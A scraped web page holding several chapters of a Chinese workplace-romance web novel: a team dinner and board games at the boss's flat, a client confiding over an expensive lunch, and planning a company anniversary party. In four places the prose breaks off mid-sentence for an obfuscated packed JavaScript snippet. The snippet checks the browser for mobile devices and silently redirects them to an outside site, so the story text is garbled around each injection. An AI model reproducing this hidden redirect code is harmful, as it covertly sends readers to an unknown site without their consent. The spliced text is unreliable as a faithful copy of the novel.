“怎么?你们还想开个腾讯会议,搞个议题做开放式讨论?还是挨个来做Presentation?”
我满脑子问号,这算哪门子团建?分明是工作日强制加班。工作狂的世界真可怕。
“那不至于。”孟猛的名字果然不是白取的,他继续死乞白赖地输出,“老大,我们中午就来呗,吃个简餐。下午可以一块打打牌玩玩游戏,多好的团建机会啊!”
“别想。上次来我家吃饭,差点没给我累死。”
“那……每个人做一个菜呗,能有多难。”萌萌的回答在屏幕上跳跃,我只觉得两眼一黑。
能有多难??我这一群都是什么队友?主打一个能上九天揽月,亦能下五洋捉鳖?我合理怀疑,他们是为了凸显我什么都不会而存在的。
我等待别人提出反对意见,但群里一片沉寂。
“中午十一点。食材我去采购,把做菜的人带来就行。”周明凯妥协了。
“有问题吗?”我和觅觅作为唯二没发言的,全都被Cue了。
“没……”我完全没有底气。
觅觅发了个“衰”的表情,“没。”简直世另我。
怎么来了T市,除了工作上卷,连生活上也开始卷了?我彻底犯了难。临时抱佛脚,佛祖会不会一脚给我踹出去老远。阿弥陀佛。
认命翻开食谱,我觉得这比让我跟进客户那些奇怪的需求还一筹莫展。没有量化,中华饮食的精髓在于意会,这是一个完全靠天赋的领域。按图索骥,即使我一步步按照操作步骤,最后出来的结果也完全听天由命。别说拿手菜,我能做出个能吃的菜就算是佛祖体恤。
想一想刚被我倒进垃圾桶的凉拌面,我把Pad往床上一扔,彻底放弃——如果注定不是努力就能有结果,那我选择彻底躺平。顶多就是难吃,肯定吃不死人。是谁说过的,生死之外,都是小事。他们几个那么积极,肯定做饭好吃。蹭吃蹭喝,人生乐事。
于是,我心安理得洗漱睡觉。
事实证明,人不仅会犯错,而且还会两次踏进同一条河流。
刚听到门铃声的时候,迷迷糊糊没管,想继续睡;突然清醒过来,心里一紧,一个鲤鱼打挺从床上弹了起来——该不会又是老板吧?
我蹑手蹑脚走到客厅,趴在猫眼上一看,不是他还有能谁?
这次比上次还惨,我连牙都没刷。我能不能装作不在家?抬头看了一眼墙上的钟,还是八点半。这位大哥到底有什么毛病,上次是去看房子顺路,这次难道还是去看房子?
我打定主意装死。又按了两次门铃我没开,他好像离开了。我刚呼出一口气,手机响了。What’s the hell!!!
我只能硬着头皮开了门,捂着嘴让他坐,一溜烟跑进了卫生间。作为一个从小到大八百米从没及格过的人类,我相信,此时我的速度跟后面有条狗追差不多。一向磨磨蹭蹭被我妈批评“懒驴上磨屎尿多”的本人,整理速度达到了历史新高。毕竟这么一尊神在客厅坐着,我浑身的毛孔都在叫嚣搞快一点。
但在一个本质磨蹭的人硬提速度的过程中,难免会出差错。比如,我把洗面奶当成了牙膏,把牙刷塞进嘴里的时候我还在想,怎么牙膏的味道有点怪;又比如,我穿了两只不同颜色的袜子,还是周明凯指出来的,太尴尬了。
在他问出“你很紧张吗”时,我真想拿水管子呲他一脸水——把自己的私人生活展现在陌生人面前,您能不紧张?
更尴尬的是,我们刚走出门,我换鞋子没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672157|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站稳,往旁边一歪,周明凯扶住了我。然后,就看见孟猛见了鬼一样站在门口,目瞪口呆。过了几秒钟之后,他结结巴巴地问:“老大,还是来附近看房子?”
周明凯不置可否,我赶紧替他回答,“还是上次那个。”
孟猛意味不明地看了我一眼,突然意识到,我的行为颇有点欲盖弥彰的意味。再这么下去,我很怀疑是不是会传出我跟周明凯的风言风语。
以恶狠狠的眼神警告孟猛,他却一脸无辜地望着我。算了,听天由命吧。
很不幸,上一次的三人行场景再现,还是上次的早餐店,还是上次那个楼盘。
只不过上次那个售楼小姐已经完全丧失了对周明凯的热情,阴阳怪气地告诫同事,不要以为什么人都能买得起大平层。尽管她针对的目标不是我,但还是感觉被内涵到了。
周明凯仍然是无所谓的态度,只是看了看别墅的位置图之后,向另一个给我们倒水的姑娘要了名片。
这一次我们看房只花了十五分钟。孟猛坐在副驾驶一路呱噪,我坐在后面闭着眼睛假寐。
孟猛问周明凯为什么要买新房子,老板说再买一套投资。果然人和人之间的差距可能比物种之间的差距更大,有些人还在温饱线上挣扎,另一些人问何不食肉糜。
途径两家大超市,麦德龙和沃尔玛。我本来以为会在这两家中随便挑一家,就我个人而言,我更喜欢沃尔玛。
周明凯却丝毫没有想停下来的意思,他一路向前开,开过一个红绿灯之后向右拐。
孟猛的兴奋溢于言表,对周明凯家熟悉得仿佛是他的第二故乡,“去Super City吗?”
我依稀记得那是一家进口超市,S市有两家,当然不是以物美价廉闻名。我曾经兴冲冲拉着肖平进去逛过,最后买了一瓶十九块钱的水出来了。矿泉水是那家超市最便宜的商品,我小口喝着水,清甜可口,可也没觉得比农夫山泉的味道好到哪儿去。
贫穷限制了我的鉴赏力,欣赏不了十九块的水并不是我的错。后来,我们再也没去过那个进口超市,它用价格旗帜鲜明地完成了对顾客的甄选。
周明凯轻车熟路,明显是这里的常客。我们采购了五花肉、雪花牛肉、牛眼肉、西冷、牛肋条、牛里脊、牛上脑、牛舌、鸡翅、德国香肠,然后又买了蘑菇、玉米、娃娃菜、茄子、金针菇、蒜苗、芦笋、西兰花、小番茄和彩椒。
接下来到了水果区,周明凯往像座小山的手推车里继续放了一些水果:车厘子、莲雾、荔枝和草莓。他示意我们自己挑,我拿了一串葡萄,孟猛开心地抱起一个榴莲,周明凯淡淡瞥了他一眼,“如果它去了我家,你就不用去了。”孟猛依依不舍地放下了,“老大,你要勇于尝试新鲜事物……”
食材的水准极高,难怪大家要去老板家团建!
周明凯结账的时候,我瞄了一眼,三千多块。我悄悄吐了吐舌头,还不包括酒水饮料,人均消费500+。
孟猛中途抗议蒜苗和芦笋串起来太麻烦了,周明凯淡然地回了一句:“反正又不是我串。” 孟猛看向我,我用眼神向他表示“虽然同情但我不会帮忙”,他刚把这两样拿走,一转头,周明凯又拿回来放进了推车。
老板真腹黑!
买完食材去老板家路上,我在心里碎碎念:千万不能让我做,不然就是暴殄天物的现实版。
54. 第 54 章
果然高档住宅配备的设施都跟我们普通小区不一样,自动检测业主车辆,车刚到门口栏杆就抬了起来。门口岗亭里的保安一米八大高个,身姿挺拔,看上去像是退伍军人。
车子开进小区,像进入了森林氧吧,绿化度很高,花草修剪得十分整齐。
楼间距极大,路标指示表明,这个小区里有会所有健身房有游泳池还有图书馆,这种配置让我瞠目结舌。
我还没缓过神来,车进了地库。地库直通业主家,电梯卡只能到特定楼层。一梯一户,清净得很。
入户是一整块大理石铺设的地面,玄关处除了鞋柜之外,挂了一副油画,矮柜上摆着一个雕塑。除此之外,空无一物,简洁且空灵。
往里走,一整个大横厅,以大理石和原木为主要材质。整体色调至简,只有白色和深棕原木色,摆放着龙血和树龟背竹。整片落地窗,阳台上有大株绿植,垂叶榕、散尾葵和一株小小的春羽,旁边一把藤椅,我能想象在微风拂面的日子里,在阳台上发呆看夕阳是多么惬意。他的客厅看上去都比我的整个房子还大。
跟他这房子一比,我家附近那个小区的大平层便不过尔尔。难怪他把目光投向了别墅。
厨房是开放式的,干净整洁,我想大概他在家也不做饭吧。
没有对比就没有伤害。原本我对自己的居住条件满意度挺高的,眼下,我觉得自己根本就是蜗居。在这样的居住环境里,大部分外界的不如意都能被抹平。
周明凯让我们自己拿喝的,拉开他的双开门大冰箱,一整排巴黎水、贵价矿泉水——就是19元一瓶的那种,整整齐齐码在冰箱里。
我再次在心里叹了口气。人和人之间的差距,可能就是2元的农夫山泉和19元的贵价水吧。
刚把水拿出来,萌萌到了。她冲过去看食材,两眼放光,那得意的小表情把心思全写在脸上了——看,姐的提议没错吧?
周明凯扫视了一圈,“今天做什么菜?也没人给菜单,除了烧烤的食材,其他的我也没买。”
萌萌指挥孟猛跟她一起去洗水果,边洗边说,“我只会做番茄炒蛋。”孟猛一脸嫌弃的表情。
小妍跟觅觅在门口碰上了,一起进了门。
老板又问了同样的问题,结果小妍的回答跟萌萌的就像复制粘贴。
我瞬间平衡了,原来不是只有我一个人是厨房菜鸡。他们望向我的时候,我毫不心虚地告诉他们,我可以做面条,但对味道不负责。他们都懒得嫌弃我了。
所以,我们这一群人当中,会做饭的只有孟猛和觅觅,孟猛说他能贡献一个彩椒炒牛肉,觅觅看了看食材,说她能做个上汤娃娃菜,萌萌和小妍的番茄还在超市里躺平,我们陷入了六人凑不出三个菜的局面。
周明凯气笑了,开始进行团队分工——孟猛去冰箱拿土豆削皮,小妍洗小番茄和彩椒,觅觅洗切芦笋和西兰花,萌萌去酒柜里挑红酒和醒酒。至于我,负责磨胡椒粉。
然后,他挽起袖子,开始处理牛肉,用厨房纸吸干多余的水分。
“肋眼、西冷还是菲力,几成熟?”
孟猛削着土豆,笑得眉不见眼,“原来老大早就有先见之明。”
“你手脚麻利点,别光练嘴皮子。土豆煮熟需要时间,碾成土豆泥的活儿也是你的。”
我们一群混吃的,哪里还敢提要求,纷纷表示老板做什么,我们就吃什么。
周明凯熟练地用刀拍打牛肉,两面抹上海盐和黑胡椒,那口用来煎牛排的铸铁锅看起来就很沉。处理完食材,孟猛被留下打下手,我们都被回客厅里,“看书听歌看电视都行,别来炸厨房。”他还特别看了我一眼,意有所指——不是,会做番茄炒蛋的也不见得就不会炸厨房啊!!!
等牛排上桌,搭配了黄油土豆泥、烤彩椒、煎芦笋、煎西兰花和小番茄,肥美多汁,色彩丰富。一切开,肉汁流了出来,肉类的汤汁和蔬菜相得益彰,唾液腺开始疯狂分泌口水, 孟猛从食物端上桌的那一刻,彩虹屁就没断过。
用来佐餐的也不知道是什么年份的红酒,但入口丝滑甘醇,跟我喝过那种一百多块一瓶的完全不是一个档次。一口肉一口酒,一顿饭吃得宾主尽欢。哦,不是,只有宾客欢乐,主人有一种分分钟想把我们撵出去的冲动。
吃完饭,我们自觉去洗餐具。本来以为料理台上需要清理,结果干干净净,就连铸铁锅都已经洗干净了。再一次肯定,周明凯这个处女座真是名不虚传,洁癖得可以。最后,小妍自告奋勇洗了餐盘和刀叉,我就在旁边沥水擦干放进了橱柜。
一整个下午,我们都在玩桌游。上次在萌萌家,我们玩的是大富翁,运气成分居多。这次玩的都是策略游戏,我就成了游戏黑洞。玩狼人杀,只要我是哪一边的,哪一边就输。好不容易跳了一次预言家,结果一上来就被当作狼人投死了。到后面,他们更过分了,说为了不影响战局,每一轮在第一轮就把我投死了。跟我相反,周明凯就是只大尾巴狼,作为狼人,他总能隐藏到最后,故布疑阵,迷惑性极强;而作为平民,他能精准狙击,我和萌萌做狼人几乎没有一次能逃脱他的毒手。
萌萌抗议要求玩别的,我既不会玩三国杀也不会玩卡坦岛,他们就只能一边教我一边玩儿。三国杀到底是哪位高人发明的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672158|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,角色多就算了,技能点还那么复杂,我头晕脑胀,不是忘记发动技能,就是技能用错。有一局我摸到一张藤甲装备牌,刚穿上就被对面周明凯的卧龙诸葛火烧了。最悲惨的是觅觅,上一局刚被孟猛用铁索连环跟我拴在一起,上演了一场现代版火烧赤壁。
“咱们下次团建去玩剧本杀吧?我常去的那家店有几个新本子,特别适合熟人一块玩。”小妍居然也是重度游戏玩家。
“还是玩密室逃脱吧,我们组的智商绝对可以秒杀其他人。”孟猛秒变中二少年,兴奋得快要起飞。
“不用算上我。”周明凯用酒杀灭掉了最后一个反贼。
“完蛋,那要被困在密室里了。”孟猛瞬间萎靡不振。
“不至于……吧?”我话音未落,周明凯用一张决斗两张杀顺利干掉了觅觅,又一次用内奸身份大获全胜。
“你觉得呢?”萌萌一脸生无可恋。
基本上跟周明凯一组不是躺赢就是被他带飞,而他要是内奸,我们就是团灭的下场。
工作狂不应该都是生活白痴吗?工作上一骑绝尘也就罢了,做饭好吃,游戏还玩得好,老天爷怎么能这么偏心?这种人都是女娲毕业设计的炫技作品吧?全方位碾压别人,还让普通人怎么活?!
玩到六点多,太阳褪去了热辣,高层视野开阔,漫天的彩霞美得如同仙境。
超大的楼间距使隐私得到了极大的保障,几乎听不到别的声音,偶尔几声虫鸣,反而显得夏夜格外静谧。我们开始穿串儿烧烤,在空中花园喝饮料撸串儿。徐徐晚风吹来,穿堂过室,叶动花香。真是快乐似神仙。
吃完饭已经快九点了,明天还要上班,我们小憩了片刻就准备回了。孟猛意犹未尽地表示,如果接下来还能来老大家团建,将对大家的工作热情有极大的鼓舞,周明凯给了他一拳头,让他抓紧滚。
老实说,这样的生活会让人不由自主滋生出一些浪漫情怀。
万幸,我渐渐对浪漫脱敏。不是浪漫不好,只是显得那么不真实。
最浪漫的事是长久的陪伴,是体贴细致地感知对方的需求,是至少在出现问题时不批评不判断不质疑,是尊重理解和维护。而这种浪漫,对大多数人来说,都太奢侈。这要求伴侣,无论男女,都至少是一个忠诚的、善良的、能够易地而处的人——这些在以往看上去并不算太高的要求,在疲于奔命和物欲横流的社会里,却成了稀缺品。
且不论别人,至少我做不到。那么,我也就丧失了要求别人的资格。
特别快乐的时光过后,总会有一种怅然若失的落寞感。在它猛烈袭来之前,我躲进了梦里。
55. 第 55 章
工作日的痛苦往往跟周末的快乐是成反比的。周一因为紧挨着周日,更显得罪不可恕。
闹钟响起来的时候,我拖着万分疲倦的身体和厌世的心情从床上不情不愿爬起来,对周一深恶痛绝。我想赖在床上,跟我的床永不分离。
熬过周一后好了很多,大概身体和精神都最终接受了现实,得为口粮奋斗。
总算本周还是有好消息的:WH第三季度的提案通过了,最后采用的是“夏日婚纱设计大赛”和“You can be anyone even you are married”的概念,抱着吉他哥唱歌跑过终点线作为宣导片。且这次婚纱设计大赛Mark想邀请总部首席设计师担任评委,相信会对新锐设计师有很大吸引力;甚至KY周年庆项目都好不容易向前推进了。黎卡卡对素人妆容改造互动挺感兴趣的,认为可以作为庆祝活动的一环。
然后,第二个月的薪资到账,居然有项目奖金,工资条看得我心花怒放。外加上次退回的13000元,我前所未有的丰盛。
正当我欢天喜地决定中午约同事们去吃顿好的,一块绊脚石从天而降。人生总是这样,悲喜之间不时转换,似乎悲与欢之间遵循能量守恒。
据萌萌的可靠八卦消息,小剪刀终于按捺不住,向老大下手了。老大拒绝了她。
晴天霹雳。这单十有八九要黄。
更令我费解的是,小剪刀破天荒给我打了电话,约我下午去郊外谈。我没敢直接答应她,只跟她说要确认下工作安排才能答复。
“你说,她不会是想杀了我泄愤?”我战战兢兢地把地址给萌萌看,“你看,她约我去的是一个郊外的私人别墅,看上去很适合杀人埋尸……”
萌萌瞅了一眼那个地址,突然提高了声量,“她约你去这儿?”
“你也觉得不对劲,是不是?”我更加胆颤心惊,“还打着聊工作的借口,她肯定是以为我什么都不知道。”
“去啊!换做我,死也要去看看。”萌萌咬牙切齿。
这么丧心病狂吗?我还没有做好为工作牺牲自己的准备。
“这地方基础消费人均八千起步!”
萌萌火速掏出手机,把搜索结果给我看,是一家接受预定制的日料餐厅,特殊的是只接待会员及会员推荐的客人,目前已预定到了明年下半年。
“况且,你又不是她的情敌。想泄愤也杀不到你头上。”
“可她约我去消费这么高的餐厅聊工作,也很诡异,不是吗?”
萌萌歪着头想了一下,“化悲愤为食欲吧,可能叫你去就是买单。狠狠吃我们公司一顿。当甲方真好。”
说得有道理。我给小剪刀发了消息,回复她下午准时到。
一进包厢,就看见黎卡卡跪坐在蒲团上泪流满面。
“芥末太冲了啦……”她泪眼婆娑,口音不改。
一口鱼生入口,冲劲直冲天灵盖,我的眼泪也飙了出来。
黎卡卡默默吃了半天,终于哽咽着说:“我为了他都出来工作了……你知道我付出了多少嘛?!”
显然,每个人对于付出的理解不一样;同时,每个人都在为自己的付出而感动,即使不能感动别人,但依旧会自我感动。
周明凯曾经说过“没有结果的付出是没有意义的”,从经济学的角度来说,没有错;但至少,在付出的过程中,我们能感知到自己的存在。也许,这本身就是最有意义的。
我嗤笑了一声,我何尝不也是这样,把那些自我感动当作付出,并期待着别人对它给予回报。
她哭得稀里哗啦的,精致的妆容都花了,红彤彤的小鼻子显得可怜又有点好笑。
一脸不可思议:“你是在笑我嘛?人家都那么惨了啦!”
“我是在笑自己……”
我知道,不应该把私人的事情带入到工作里,可现在情况特殊,特事特办。
“你没有朋友吗?”
她抽抽嗒嗒地说:“我的朋友都在国外,有时差……我在国内没有交到朋友……”
“那有没有人告诉过你,女孩子的世界并不是只有恋爱和帅哥,还有很多比那重要得多的事情。”
她懵懂地看着我,像一个伪装成大人的小孩子,褪下了防备,“你说话跟我妈妈很像欸……她说,男人都是靠不住的呢,女人都应该有自己的事业和追求,最起码呢,要能养得活自己……”
“你有一个好妈妈。”我由衷地感慨。
菜品间隔时间刚刚好,果然贫穷局限了我对美食的想象,加了出汁红酒酱的顶级和牛,一口好吃到想要流泪。
她擦着眼泪,还在跟我介绍,“这是日本国宝级大师的艺术欸,你要细细品尝噢……”
今天的阳光很好,包厢有一面是整面的玻璃推拉门,可以去到院子里。院子里碧绿的草坪,靠墙的位置栽种了两棵樱花树,樱花早已谢了。不知道是什么品种的樱花,早一两个月,这里的风景应该比现在还要迷人。坐在房中,入口的是当日空运新鲜食材,浅酌一口贵价清酒,看着樱花绽放……有钱才能在伤心的时候花钱让自己开心。
我走出去,往草地上一躺。今天的风很轻,卷积云在淡蓝色的天空里流动,鼻尖有些痒痒的。招呼黎卡卡一起躺,她犹豫了半天,“可是……那会弄脏我的裙子哎……而且,一点也不优雅啦……”
微微闭上眼睛,感受微风在我耳边低吟。
“你要不要说说你的故事……就当讲给树洞听。” 这么奢侈的款待和如此惬意的氛围,我不介意当树洞。
听到一阵悉悉索索的声音,她似乎是在我身边坐了下来,一小片阴影挡住了阳光。
她那个糟糕和可怕的口音,既不是出自优越感,也不是想要洋气,只是因为她在初中以前,都跟她的香港爸爸住在一起。直到初二才被妈妈接回身边。她的口音,一度成为同学们嘲笑和攻击她的理由——她们说她装,说她是没人要的小可怜,尤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672159|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其她的同桌,是一个看上去乖巧懂事的女生,动员所有人孤立她。那个女孩子是老师眼中的好学生,老师并不相信她的控诉,只是说她需要适应。
原先在香港读书时的朋友,也因为距离远学业负担重,渐渐没有了以前亲密无间无话不说的状态。虽然妈妈后来很有钱,也买了很多东西补偿她,可是她很忙,没时间陪她。她很想念爸爸,跑回香港,却发现爸爸重新组建了家庭。
她觉得整个世界都抛弃了她,渐渐荒废了学业,也尝试过用一些不好的事情来麻痹自己,一度还患上抑郁症。好不容易从抑郁症里挺过来,也不愿意再交朋友。妈妈不放心,再忙都带着她,到各个地方去出差和生活。最后,她喜欢上了T市,这里的人有一种天然的松弛感,妈妈把家搬到了这里,她就在T市生活到了现在。
看,我们都不是金刚,大概率也做不成金刚芭比。但那又有什么所谓?
后来她读完书,妈妈安排她到KY集团工作。其实也没有什么具体的工作职责,就是在市场公关部任个闲职,真正需要舆情处理有专门的律师团队。况且KY集团这些年一直都很正面,也没有需要公关的事宜。
所以她妈妈是KY集团的高层?我在心里叹了口气,果然,有些人就出生在罗马。
我问她为什么不尝试改一改自己的口音,她瞪大眼睛望着我,“可是……是她们不对哎……而且,我为什么要跟别人一样?我妈妈说,我现在这样就是最好的啦……”
为什么要去迎合别人的喜好?犹如一记当头棒喝。我从小习惯了要听话,按照我妈的想法行事,这样才能得到她的夸奖。她对我的期待除了学习好之外,是不要跟别人不同,要遵循社会对女孩子的期待。有很多让我觉得不舒服的事情,却被告知我的想法是不对的,可我才是那个在经历在感受的人……
“你妈妈是KY高层?”我很羡慕黎卡卡,她有一个真正爱她的妈妈。她非常自由,不仅仅指物质上,更是精神上的。
她无奈地看了我一眼,“拜托啦,你都不对客户背景做调查的噢?我妈是KY创始人,现任董事长哎。”
一颗核弹!她是KY大Boss的女儿!
拜托,要不是你自己说,你妈把你藏得严严实实,谁能知道你是她女儿!连萌萌这种业内包打听都没挖出来的消息,我做背景调查有用才怪。
“为什么愿意说给我听?”
“想说就说啦,想说给你听哪有那么多为什么……其实,你是不是很讨厌我?”
“也没有啦……客户大多数都是你这样的……”
“要说实话噢……”
“有……那么一点点。”
“没关系啦……讨厌我的人,是他们不懂得欣赏。”
“安冉然小姐,你不要以为我们交换了秘密,我就会降低要求哦……”
我翻过身——她果然坐在能挡住明媚阳光的左侧,“那我们一起,给KY一个别开生面的周年庆吧。”
56. 第 56 章
如果黎卡卡不耍小性子,能够听得进建议,她的一些异想天开的提议倒是有可取之处,能够提供不一样的思路。
自上次坦诚沟通之后,KY项目推进终于有了实质性进展——我跟黎卡卡把主要场景和流程定了下来。
首先,给所有员工发送了电子版邀请函,其实KY集团的年轻人占比很高,女性占比也很高。有不少人从大学毕业就在KY工作,KY见证了很多员工从青涩到成熟的历程。
邀请函封面由觅觅一手包办设计,做了一副插画样稿给客户参考。
由于每个人的入职时间不一致,每个人的邀请函上都有各自的名字,最后一页根据每个人进公司的时间,“感谢你与KY在一起XX天”。黎卡卡负责找人事部拿花名册。为了省事儿,萌萌对接了一个科技供应商做开发,不用我们一行行输入这些数据。
“不该省的钱绝对不省,费事还容易出错的活儿交给科技搞定。”萌萌擅长用工具提升工作效能。
我们给所有的女员工都发了问卷调查,让她们在给出的主持嘉宾里票选,我们将邀请得票最多的来主持周年庆;奖品的话,则涵盖了最新款的某水果手机、吹风机、购物卡等等,主打一个时髦且实用。所有员工都将得到一份公司的礼盒产品作为阳光普照奖。
至于酒水,也没有安排黎卡卡青睐的贵价葡萄酒,他们公司一千多号人,按她的要求,我们大概会破产。我带她尝试了一些目前在年轻人中很受欢迎的品牌,不仅有酒还有饮料,任君选择,年会现场可以畅饮。其实年轻人并不喜欢酒文化,尤其讨厌劝酒文化。
互动环节则是素人改造,契合化妆品公司的调性,报名链接也跟邀请函一起发到了员工邮箱,愿意成为改造对象的员工可以报名。请了专业的化妆师和专柜的BA姐,限时就现场抽到的风格进行素人妆容改造,员工投票打榜PK,人气最高的前三名化妆师和改造对象都有惊喜礼品;在这个环节把黎卡卡对“假面”的执着融合进来,画完妆之后面具遮半脸,进行妆前妆后匹配猜猜猜,猜中的员工获得抽奖机会。
当然,搞年会还是得搞出点特色来。
由于场地是复古风格,根据场地的风格,Dress Code主打上流社会绅士名媛风,公司按人均1000元的制服标准报销。
一进门做一面巨大的签到板,不拘泥身份,员工到场了签名留影。签到后可以抽一张长条形的签——正面是签文,背面是号码。
大部分签文是没有彩蛋的,只是图个口彩,譬如“节节高升”,“桃花朵朵”,“日富一日”,“完美女神”……但有几张隐藏款签文内有乾坤:全场唯一的一张“幸运锦鲤”获得者不仅仅能免费获得一年彩妆,还可以优先试用公司新品;抽到“日行一善”的员工需要为自己的同事做一件事,抽到“日上三竿”的员工在接下来的一个月里可以任选一天下午到公司;抽到“闲云野鹤”的员工年假+1。主打趣味性和软福利结合。
背面的号码既是座位号,也是抽奖号码。位置按照签文号码排列,所以二楼的两桌VIP座并不是领导的专属座位,而是一号到二十号的座位。
我们想把随机性和未知发挥到极致,用游戏性的方式来搞这次年会,希望所有员工都能玩得开心。
——办周年庆的目的是什么呢?
这次KY的周年庆,我们不想是为了办年会而办,而是为了增加公司凝聚力,彰显企业文化。没有领导讲话,也没有公司辉煌成绩的吹嘘PPT,一切秉承着终极主张——“KY全体员工开心第一”,毕竟过生日,宾主尽欢才是最的方式。
现场安排摄影,把周年庆的照片和精彩片段都发布到公司内网,供大家回看。
周年庆时长控制在六个小时,所有人下午两点到会场,八点钟结束。既避开了晚高峰,还不耽误休息。
黎卡卡表示想把周年庆放在周五,这样就算闹到晚一点,第二天反正不用上班,会更尽兴。我冒了一头冷汗,不得不说,小剪刀的路子野到就像想要把奔驰开上青藏高原。我完全不怀疑,如果我把这条建议写在提案当中,KY的管理层大概会来掀翻GT的屋顶。
根据我对KY集团过往周年庆的情况调研,挪日期这事儿在过去的二十九年都没发生过。我想,大概,可能,也许,这日期对KY有什么重大意义也说不定,对于一切可能踩雷的地方都要小心应对。
为了提案能够顺利过稿,我向她提议变通,如果可能的话,周年庆的第二天放半天假。既凸显了公司的人性化,还能拉一波宣传。
她欣然同意,表示KY作为人性化的公司,放半天假肯定没问题。她通知人事部。
交提案的时候还是有些惴惴不安。其实,对于这种年轻人喜闻乐见的形式,决策者不一定能接受。毕竟决策者和掌权者可能都不是年轻人,很有可能接受不了这种新鲜活泼的周年庆方式。
KY集团往年的周年庆都不能用中规中矩来形容,而是非常有我妈那个年代工会组织的风格,大气且沉闷:领导致辞,员工按事业部上台表演节目,吃饭喝酒……员工最开心的阶段应该是抽奖环节。
但显然,我低估了黎卡卡的能力。
她得意洋洋地把策划案发还给我,我快速翻阅了几遍,确认只增加了一条修改意见——做一条与整体风格相匹配的公司历程宣传片,在舞台大屏幕上循环播放。
我轻轻呼出一口气,把反馈文件发到公司内部群,萌萌扫了两眼,不可置信地 :“才改一条?”
但这条并不好改,因为整体现在做的是年轻化的卡通风格,如果风格一致,等于要做一条动画视频。还没等我打完字,黎卡卡的电话过来了。
“不让你们白干的啦,我多申请了一百万的预算哦。”
得……一个年会预算六百万,整不出点花儿都不太对得起这位大小姐给的钱。
孟猛似乎不太相信这是黎卡卡,他瞪着我和萌萌,“你们对她做什么了?这跟大变活人一样,她怎么突然转了性?”
原本预估三个月能定案,接下来三个月做执行。现在两个月不到就完成了,执行部分的话我只需要盯着进度。况且萌萌敲定行程就跟她掷骰子的手法一样精准,我压根都不用盯她的进度。
眼下的重头戏就是动画视频。
小组讨论之后,我们的想法是:公司宣传片与邀请函设计风格一脉相承,既然KY见证了很多员工从青涩到成熟的历程,那么我们就把KY 拟人化。从素面朝天青春洋溢刚进入社会的大学生,到工作了几年之后的白领丽人,再到独当一面的成熟女性,用这些阶段来展示KY的发展历史,应该挺契合。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672160|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我把想法跟黎卡卡一说,她立马觉得可以按这个执行。她爽快的让我害怕。谨慎起见,我建议还是做个书面文件给决策人汇报。她嘟嘟囔囔:“跟我妈有什么好汇报的。”
!!!
……
周明凯在小群里对大家的工作给予了肯定和表扬,萌萌打趣,“老大,没有项目奖金的表扬都是画大饼。”
“项目奖金跟年终奖一起发。”
“老大万岁!!”
周明凯在公司例会上又提了一嘴客户对我们的认可,算是给足了激励。
“切……有什么好得意的。”散会后,薛旻毫不避讳地翻了个白眼,“瞎猫碰见死耗子。”
“有本事,你也去碰只死耗子回来。”萌萌完全不给她面子,狠狠怼了回去。
二组明里暗里都在跟我们竞争,倒并不是坏事,他们卯足了劲提高交付质量。算是良性竞争,可嘴上不饶人,总要阴阳两句。
除了嘉奖和肯定之外,最有效的激励是你喜欢自己的工作。最近我愈发体验到许逸晨所说的工作心流,全身心投入,酣畅淋漓沉浸,时间过得飞快且快乐。最近许逸晨的副业发展态势喜人,在不涉及同行客户时,我们会讨论创意思路。有时候她会带着涵涵一起,涵涵特别乖,我们工作时,她坐在旁边跟自己的小玩偶过家家。许逸晨说其实她不希望涵涵太乖,乖巧的女孩子更容易为社会规则束缚。
……
“WH集团新一年的营销框架,Mark指定你来做。”
周明凯埋头处理文件,突然扔出来一颗重磅炸弹,威力堪比原子弹,炸得我晕头转向。
“啊?”我怀疑自己的耳朵,“老大,我没听错吧?”
“就是你,安冉然。有什么问题?”
“我才转业务部门三个多月……”
“所以呢?”周明凯单手合上笔记本,目光炯炯地盯着我,“Mark对你的两次提案创意印象深刻,非常认可你。”
“我不觉得……自己有能力搞WH集团的全年策划案……”
“你牵头,团队不都在吗?”
“可我还是……”我嗫喏着,“上次不都是……您抓的主线。”
